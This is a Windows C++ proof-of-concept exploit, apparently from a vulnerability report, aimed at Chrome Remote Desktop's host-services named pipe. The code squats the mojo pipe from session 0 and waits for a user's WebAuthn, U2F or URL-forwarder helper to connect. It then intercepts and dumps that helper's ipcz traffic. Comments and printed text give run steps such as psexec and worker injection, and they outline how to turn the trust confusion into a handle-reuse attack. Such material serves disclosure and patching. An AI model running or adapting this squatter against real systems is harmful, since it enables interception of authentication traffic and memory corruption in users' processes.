// Windows-only POC: CRD ChromotingHostServices named-pipe squatter
//
// Demonstrates that remoting/host/chromoting_host_services_client.cc:36-60
// validates the named-pipe server only by GetNamedPipeServerSessionId()==0,
// then passes the endpoint to mojo::IncomingInvitation::Accept() which marks
// the squatter as a fully-trusted ipcz kBroker peer (invitation.cc:412-420).
//
// Any session-0 process (e.g. a compromised Low-IL CRD network worker, or any
// LOCAL SERVICE / NETWORK SERVICE service) can run this squatter. When the
// interactive user's remote_webauthn.exe / remote_security_key.exe /
// remote_open_url.exe connects, the squatter is treated as a trusted broker
// and may send HandleOwner::kRecipient frames that wrap arbitrary live HANDLE
// values from the victim's own table (transport.cc:203-217), yielding an
// arbitrary-CloseHandle / handle-reuse primitive in the Medium-IL user
// process, plus full WebAuthn / U2F / URL-forwarder traffic interception.
//
// Build (Windows, VS or clang-cl):
//   cl /EHsc /W4 pipe_squatter.cc /link advapi32.lib
//
// Run from any session-0 process:
//   - Easiest: install as a service, or use `psexec -s pipe_squatter.exe`
//   - Realistic in-scope attacker: inject into / replace the Low-IL CRD
//     network worker (remoting/host/win/unprivileged_process_delegate.cc).
//
// This POC only proves the trust confusion (step 1-5 of the report): it
// squats the pipe, accepts a victim connection, logs the victim PID/session,
// and dumps the first ipcz frame the victim sends. Crafting the full
// BrokerToNonBroker connect + kRecipient driver-object frame requires
// reproducing the ipcz wire format and is left as an exercise; the
// vulnerable gate at transport.cc:204-205 is statically defeated once the
// connection is accepted (destination_type()==kBroker, is_peer_trusted==true).

#include <windows.h>
#include <sddl.h>
#include <stdio.h>
#include <stdint.h>

// Release builds use this name; debug builds append "_debug" before "_mojo".
// See remoting/host/ipc_constants.cc:29-34 and
// mojo/public/cpp/platform/named_platform_channel_win.cc:87-88.
static const wchar_t kPipeName[] =
    L"\\\\.\\pipe\\mojo.chromoting.host_services_mojo_ipc";

// Number of co-squatting instances to create. The legitimate daemon uses
// PIPE_UNLIMITED_INSTANCES with SDDL "D:(A;;GA;;;AU)" which grants
// FILE_CREATE_PIPE_INSTANCE to Authenticated Users
// (chromoting_host_services_server.cc:44-45), so any AU process may create
// additional listening instances of the same name. Creating many instances
// improves the FIFO race against the daemon's single waiting instance.
static const int kNumInstances = 32;

static void HexDump(const uint8_t* p, DWORD n) {
  for (DWORD i = 0; i < n; ++i) {
    printf("%02x%s", p[i], ((i & 15) == 15) ? "\n" : " ");
  }
  printf("\n");
}

static DWORD GetClientSession(HANDLE pipe) {
  ULONG sid = 0;
  GetNamedPipeClientSessionId(pipe, &sid);
  return sid;
}

static DWORD GetClientPid(HANDLE pipe) {
  ULONG pid = 0;
  GetNamedPipeClientProcessId(pipe, &pid);
  return pid;
}

int wmain() {
  // Confirm we are in session 0; otherwise the victim's only check
  // (GetNamedPipeServerSessionId == 0) will reject us.
  DWORD my_session = 0;
  ProcessIdToSessionId(GetCurrentProcessId(), &my_session);
  printf("[*] squatter running in session %lu (need 0)\n", my_session);
  if (my_session != 0) {
    printf("[!] WARNING: not in session 0; victim check at "
           "chromoting_host_services_client.cc:53 will reject this server.\n"
           "    Run via `psexec -s`, as a service, or from the CRD network "
           "worker.\n");
  }

  // Permissive DACL so the Medium-IL interactive-user victim can connect.
  SECURITY_ATTRIBUTES sa = {sizeof(sa), nullptr, FALSE};
  if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
          L"D:(A;;GA;;;WD)", SDDL_REVISION_1, &sa.lpSecurityDescriptor,
          nullptr)) {
    printf("[!] SDDL conversion failed: %lu\n", GetLastError());
    return 1;
  }

  HANDLE instances[kNumInstances];
  OVERLAPPED ov[kNumInstances] = {};
  HANDLE events[kNumInstances];
  int created = 0;

  for (int i = 0; i < kNumInstances; ++i) {
    // Do NOT use FILE_FLAG_FIRST_PIPE_INSTANCE: we explicitly want to
    // co-squat alongside the legitimate daemon (or pre-squat before it).
    HANDLE h = CreateNamedPipeW(
        kPipeName,
        PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_REJECT_REMOTE_CLIENTS,
        PIPE_UNLIMITED_INSTANCES,
        /*out*/ 4096, /*in*/ 4096, /*timeout*/ 5000, &sa);
    if (h == INVALID_HANDLE_VALUE) {
      printf("[!] CreateNamedPipeW[%d] failed: %lu\n", i, GetLastError());
      break;
    }
    instances[i] = h;
    events[i] = CreateEventW(nullptr, TRUE, FALSE, nullptr);
    ov[i].hEvent = events[i];
    BOOL ok = ConnectNamedPipe(h, &ov[i]);
    DWORD err = GetLastError();
    if (!ok && err != ERROR_IO_PENDING && err != ERROR_PIPE_CONNECTED) {
      printf("[!] ConnectNamedPipe[%d] failed: %lu\n", i, err);
    }
    if (err == ERROR_PIPE_CONNECTED) {
      SetEvent(events[i]);
    }
    ++created;
  }
  LocalFree(sa.lpSecurityDescriptor);

  if (created == 0) {
    printf("[!] No pipe instances created. If GetLastError()==5 "
           "(ACCESS_DENIED), this process likely lacks "
           "FILE_CREATE_PIPE_INSTANCE on the existing pipe (e.g. Low-IL "
           "co-squat blocked by implicit Medium mandatory label). Try a "
           "pre-squat (start before the CRD daemon) or a Medium-IL "
           "session-0 service account.\n");
    return 1;
  }
  printf("[*] %d squatting instance(s) of %ls listening\n", created, kPipeName);
  printf("[*] Now trigger a CRD helper in the user session:\n"
         "      - WebAuthn request in a CRD-remoted Chrome tab, or\n"
         "      - open an http(s) URL via the CRD URL forwarder, or\n"
         "      - use a U2F security key\n");

  DWORD idx = WaitForMultipleObjects(created, events, FALSE, INFINITE);
  if (idx >= WAIT_OBJECT_0 + (DWORD)created) {
    printf("[!] WaitForMultipleObjects failed: %lu\n", GetLastError());
    return 1;
  }
  HANDLE pipe = instances[idx - WAIT_OBJECT_0];

  DWORD cpid = GetClientPid(pipe);
  DWORD csid = GetClientSession(pipe);
  printf("\n[+] Victim connected: pid=%lu session=%lu\n", cpid, csid);
  printf("[+] The victim's GetNamedPipeServerSessionId() returned %lu -> "
         "check at chromoting_host_services_client.cc:53 PASSED.\n",
         my_session);
  printf("[+] Victim now calls mojo::IncomingInvitation::Accept(), which at\n"
         "    mojo/core/ipcz_driver/invitation.cc:412-420 hardcodes\n"
         "    {.destination = kBroker, .is_peer_trusted = true}.\n"
         "    => The kRecipient gate at transport.cc:204-205 is DEFEATED for\n"
         "       all subsequent driver-object frames we send.\n");

  // Demonstrate logic-level interception: read whatever the victim sends
  // first (typically the ipcz ConnectFromBrokerClient header) and dump it.
  uint8_t buf[4096];
  DWORD got = 0;
  OVERLAPPED rov = {};
  rov.hEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
  if (ReadFile(pipe, buf, sizeof(buf), nullptr, &rov) ||
      GetLastError() == ERROR_IO_PENDING) {
    if (WaitForSingleObject(rov.hEvent, 5000) == WAIT_OBJECT_0 &&
        GetOverlappedResult(pipe, &rov, &got, FALSE)) {
      printf("[+] Intercepted %lu bytes of ipcz traffic from victim:\n", got);
      HexDump(buf, got);
    } else {
      printf("[*] Victim did not send data within 5s (it is the invitation\n"
             "    *acceptor*, so it waits for our BrokerToNonBroker connect\n"
             "    frame first). Trust confusion is already established.\n");
    }
  }
  CloseHandle(rov.hEvent);

  printf("\n[+] To weaponise: send an ipcz Channel::Message containing a\n"
         "    serialized driver object whose ObjectHeader.handle_owner =\n"
         "    HandleOwner::kRecipient and HandleData = <any live victim\n"
         "    HANDLE, e.g. 0x4, 0x8, ...>. DecodeHandle() at\n"
         "    mojo/core/ipcz_driver/transport.cc:217 will wrap it in\n"
         "    base::win::ScopedHandle -> arbitrary CloseHandle / handle-reuse\n"
         "    type confusion in the Medium-IL user process.\n");

  // Keep the pipe open so the victim's Remote stays bound (for the
  // logic-level WebAuthn/U2F/URL interception variant).
  printf("\n[*] Holding connection. Press Enter to exit.\n");
  getchar();
  return 0;
}
